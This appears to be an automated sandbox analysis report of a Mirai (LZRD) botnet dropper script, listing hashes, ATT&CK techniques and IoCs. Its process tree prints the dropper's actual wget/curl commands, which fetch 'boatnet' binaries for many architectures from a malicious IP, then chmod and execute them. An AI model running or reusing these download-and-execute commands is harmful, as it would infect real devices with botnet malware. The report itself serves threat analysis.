mirai | 54ef205416581348885f545c913d0325c89e72c40cfc1f423e319855f0c40b6a

Analysis

max time kernel
148s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
14-12-2024 04:10

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General

Target

ohshit.sh
Size

2KB
MD5

49f7303a16d7e14d54856f32a64edf18
SHA1

78bf70845cf273e963f91e0a373e581e03ecb965
SHA256

54ef205416581348885f545c913d0325c89e72c40cfc1f423e319855f0c40b6a
SHA512

b4ff38959a17b997d9e6789f697962cf8ec56c4623d8cd357b025a58f653fe1f4732bd40607e3c20e12b6c0513714e7322143c133b845ef757db8131eb7c7be1

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1534	chmod
1542	chmod
1550	chmod
1566	chmod
1590	chmod
1526	chmod
1558	chmod
1602	chmod
1636	chmod
1654	chmod
1670	chmod
1576	chmod
1616	chmod
1646	chmod
1662	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1527	WTF
/tmp/WTF	1535	WTF
/tmp/WTF	1543	WTF
/tmp/WTF	1551	WTF
/tmp/WTF	1559	WTF
/tmp/WTF	1567	WTF
/tmp/WTF	1577	WTF
/tmp/WTF	1591	WTF
/tmp/WTF	1603	WTF
/tmp/WTF	1617	WTF
/tmp/WTF	1637	WTF
/tmp/WTF	1647	WTF
/tmp/WTF	1655	WTF
/tmp/WTF	1663	WTF
/tmp/WTF	1671	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1560/cmdline	WTF
File opened for reading	/proc/424/cmdline	WTF
File opened for reading	/proc/1207/cmdline	WTF
File opened for reading	/proc/1638/cmdline	WTF
File opened for reading	/proc/1552/cmdline	WTF
File opened for reading	/proc/1179/cmdline	WTF
File opened for reading	/proc/424/cmdline	WTF
File opened for reading	/proc/1358/cmdline	WTF
File opened for reading	/proc/1580/cmdline	WTF
File opened for reading	/proc/1242/cmdline	WTF
File opened for reading	/proc/1055/cmdline	WTF
File opened for reading	/proc/1035/cmdline	WTF
File opened for reading	/proc/1088/cmdline	WTF
File opened for reading	/proc/1536/cmdline	WTF
File opened for reading	/proc/1638/cmdline	WTF
File opened for reading	/proc/1554/cmdline	WTF
File opened for reading	/proc/1151/cmdline	WTF
File opened for reading	/proc/1650/cmdline	WTF
File opened for reading	/proc/1292/cmdline	WTF
File opened for reading	/proc/432/cmdline	WTF
File opened for reading	/proc/499/cmdline	WTF
File opened for reading	/proc/1082/cmdline	WTF
File opened for reading	/proc/1049/cmdline	WTF
File opened for reading	/proc/717/cmdline	WTF
File opened for reading	/proc/496/cmdline	WTF
File opened for reading	/proc/470/cmdline	WTF
File opened for reading	/proc/1164/cmdline	WTF
File opened for reading	/proc/1174/cmdline	WTF
File opened for reading	/proc/1620/cmdline	WTF
File opened for reading	/proc/1620/cmdline	WTF
File opened for reading	/proc/662/cmdline	WTF
File opened for reading	/proc/664/cmdline	WTF
File opened for reading	/proc/1155/cmdline	WTF
File opened for reading	/proc/1170/cmdline	WTF
File opened for reading	/proc/1650/cmdline	WTF
File opened for reading	/proc/978/cmdline	WTF
File opened for reading	/proc/472/cmdline	WTF
File opened for reading	/proc/1170/cmdline	WTF
File opened for reading	/proc/1648/cmdline	WTF
File opened for reading	/proc/1372/cmdline	WTF
File opened for reading	/proc/1030/cmdline	WTF
File opened for reading	/proc/1512/cmdline	WTF
File opened for reading	/proc/1315/cmdline	WTF
File opened for reading	/proc/1193/cmdline	WTF
File opened for reading	/proc/1143/cmdline	WTF
File opened for reading	/proc/1372/cmdline	WTF
File opened for reading	/proc/1139/cmdline	WTF
File opened for reading	/proc/1280/cmdline	WTF
File opened for reading	/proc/1049/cmdline	WTF
File opened for reading	/proc/1170/cmdline	WTF
File opened for reading	/proc/1085/cmdline	WTF
File opened for reading	/proc/1179/cmdline	WTF
File opened for reading	/proc/1568/cmdline	WTF
File opened for reading	/proc/424/cmdline	WTF
File opened for reading	/proc/734/cmdline	WTF
File opened for reading	/proc/506/cmdline	WTF
File opened for reading	/proc/662/cmdline	WTF
File opened for reading	/proc/1155/cmdline	WTF
File opened for reading	/proc/1155/cmdline	WTF
File opened for reading	/proc/1125/cmdline	WTF
File opened for reading	/proc/1055/cmdline	WTF
File opened for reading	/proc/1592/cmdline	WTF
File opened for reading	/proc/1496/cmdline	WTF
File opened for reading	/proc/1202/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1531	wget
1532	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.spc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1518
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1525
- /bin/chmod
  chmod +x boatnet.x86 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-HuT1Fx systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1527
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1531
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1532
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-HuT1Fx systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1535
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1539
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-HuT1Fx systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1543
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.i468
  2⤵
  PID:1547
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-HuT1Fx systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1551
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.i686
  2⤵
  PID:1555
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-HuT1Fx systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1559
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.x86_64
  2⤵
  PID:1563
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-HuT1Fx systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1567
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1571
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1577
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1581
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1591
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1595
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-x8Jw3F systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1603
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1607
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-7isb7T systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1616
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1617
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1621
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1628
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-bolt.service-6cdQxM systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1636
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1637
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1641
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1644
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1646
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1647
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1651
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1652
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1654
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1655
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1659
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1660
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1662
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1663
- /usr/bin/wget
  wget http://163.123.181.75/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1667
- /usr/bin/curl
  curl -O http://163.123.181.75/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1668
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-8gizQM netplan_nx60yubt ohshit.sh snap-private-tmp ssh-gFgSF6yUeohG systemd-private-03b4c04fee744f448dbe6b90fbfc939a-colord.service-pqJ9gC systemd-private-03b4c04fee744f448dbe6b90fbfc939a-ModemManager.service-vtZNyX systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-resolved.service-3jQMbb systemd-private-03b4c04fee744f448dbe6b90fbfc939a-systemd-timedated.service-ncy4z4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1670
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1671

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
7e25ff4f6a673ee07eb58fc4bebb2c2b

SHA1
2f140e2ad8a685b3e05c024f1338480db4f2b114

SHA256
2f882b8fa0034f325963d7bad1fa9cc700dfed1b3d67c67e951f9f5d68ae16c3

SHA512
957adddd31722dc15365e2de47596bea338c83a14bc58e6bcfdaf266226e53881f0a152e85faf2b55dc74d4910cd2c2226eadfdd125e92dd964478c845c3e958

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